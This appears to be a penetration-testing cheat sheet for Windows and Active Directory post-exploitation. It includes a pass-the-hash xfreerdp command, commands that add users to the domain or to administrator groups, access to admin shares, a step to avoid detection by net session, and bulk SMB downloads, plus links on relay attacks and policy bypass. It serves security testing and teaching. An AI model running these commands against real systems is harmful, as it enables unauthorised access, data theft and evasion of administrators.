If we have a hash of a user, we can use xfreerdp to have remote desktop
xfreerdp /u:user /d:domain /pth:hash /v:IPAddress
More information refer Passing the Hash with Remote Desktop
Todo
—-dsquery !! SubMSI ? MSUtil to use RCE? —-Any commands if net, or powershell is blocked? or PV/ BH is caught?
Useful Stuff¶
Add/ remove/ a local user¶
net user /add [username] [password]
net user John xxxxxxxxx /ADD
C:\>net user /add John *
Type a password for the user:
Retype the password to confirm:
The command completed successfully.
Add a domain user¶
net user username password /ADD /DOMAIN
Add / remove a local user to administrator group¶
net localgroup administrators [username] /add
Change local user password¶
net user username newpassword
Accessing Remote machines¶
Windows¶
Setup an SMB connection with a host
PS C:\> net use \\DC.xxxxxxxx.net
The command completed successfully.
Check for access to admin shares (“C$”, or “ADMIN$”), if we are admin:
PS C:\> dir \\DC.xxxxxxxxxx.net\C$\Users
Directory: \\DC.xxxxxxxx.net\C$\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 20.11.2016 09:35 axx.xxxxxx
d---- 21.11.2010 06:47 Administrator
d-r-- 14.07.2009 06:57 Public
If we are not admin, we might get access denied:
PS C:\> dir \\DC.xxxxxxxxxx.net\C$\Users
Access is denied.
Check your net connections:
PS C:> net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
OK \\DC.xxxxxxxx.net\IPC$ Microsoft Windows Network
The command completed successfully.
However, if administrator on DC.xxxxx.net runs a net session command, the connections would be detected. For that issue
net use /delete *
On windows, after running this, if we execute
//IPAddress/C$
we should be able to view the directory via windows explorer.
Linux¶
smbclient: We can use smbclient to access the remote computer file-system.
smbclient -L hostname -U domainname\\username
-L|--list This option allows you to look at what services are available on a server. You use it as smbclient -L host and a list should appear. The -I option may be useful if your NetBIOS names don't match your TCP/IP DNS host names or if you are trying to reach a host on another network.
The below will drop you in to command line
smbclient \\\\hostname\\C$ -U domainname\\username
(After entering the password)
smb: \> ls
smb: \> ls
$Recycle.Bin DHS 0 Wed Nov 30 20:00:40 2016
.rnd A 1024 Mon Jul 27 13:51:24 2015
Boot DHS 0 Mon Jul 27 14:16:53 2015
bootmgr AHSR 333257 Sat Apr 11 21:42:12 2009
BOOTSECT.BAK ASR 8192 Wed Jul 21 09:01:52 2010
Certificate D 0 Sun Jun 23 17:20:48 2013
Config.Msi DHS 0 Thu Feb 16 01:49:59 2017
cpqsprt.trace A 8004 Wed Jul 21 08:59:57 2010
cpqsystem D 0 Wed Jul 21 08:32:58 2010
csv.err A 90 Sun May 20 15:35:38 2012
csv.log A 278 Sun May 20 15:35:38 2012
Documents and Settings DHS 0 Sat Jan 19 19:53:20 2008
Program Files DR 0 Thu Sep 8 16:24:36 2016
Program Files (x86) DR 0 Tue Nov 22 21:28:01 2016
ProgramData DH 0 Thu Feb 9 16:51:52 2017
Rename.bat A 1406 Wed Oct 26 15:11:19 2011
System Volume Information DHS 0 Thu Feb 16 01:49:56 2017
temp D 0 Fri Aug 9 17:16:55 2013
Users DR 0 Wed Nov 30 20:00:08 2016
Windows D 0 Wed Feb 15 23:18:12 2017
Recursively download a directory using smbclient?
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
or mount the share directly
mount -t cifs -o username=<share user>,password=<share password>,domain=example.com //WIN_PC_IP/<share name> /mnt
Appendix-I : Interesting Stories¶
Targeting Domain Administrator!¶
- RastaMouse talks about his experiences in a blog on PSExec Much? Here he starts with a domain user and make his way to Domain Administrator account utilizing Powerview/ Invoke-LoginPrompt.
- Sean Metcalf has written a awesome blog on Attack Methods for Gaining Domain Admin Rights in Active Directory
- Fuzzy Security has written a amazing blog showing the journey of Local Administrator to a Domain User to Domain Administrator in his blog Windows Domains, Pivot & Profit
- Nikhil SamratAshok Mittal has written a blog on Getting Domain Admin with Kerberos Unconstrained Delegation Sean Metcalf has written Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)
Others¶
- Identify High Risk Windows Assets : Scott Sutherland writes a powershell way and A Faster Way to Identify High Risk Windows Assets Active Directory stores the operating system version and service pack level for every Windows system associated with the domain. The information can be used during penetration tests to target systems missing patches like MS08-67, or identification of high risk assets.
- Windows Exploit Suggestor tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
SMBRelay¶
- Scott Sutherland has written Executing SMB Relay Attacks via SQL Server using Metasploit
- To lure the victim, so that they give their hashes for cracking/ relaying Karl Fosaaen has written a blog on 10 Places to Stick Your UNC Path
- By default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems which can be a hurdle for penetration testers, sysadmins, and developers. Scott Sutherland has written 15 Ways to Bypass the PowerShell Execution Policy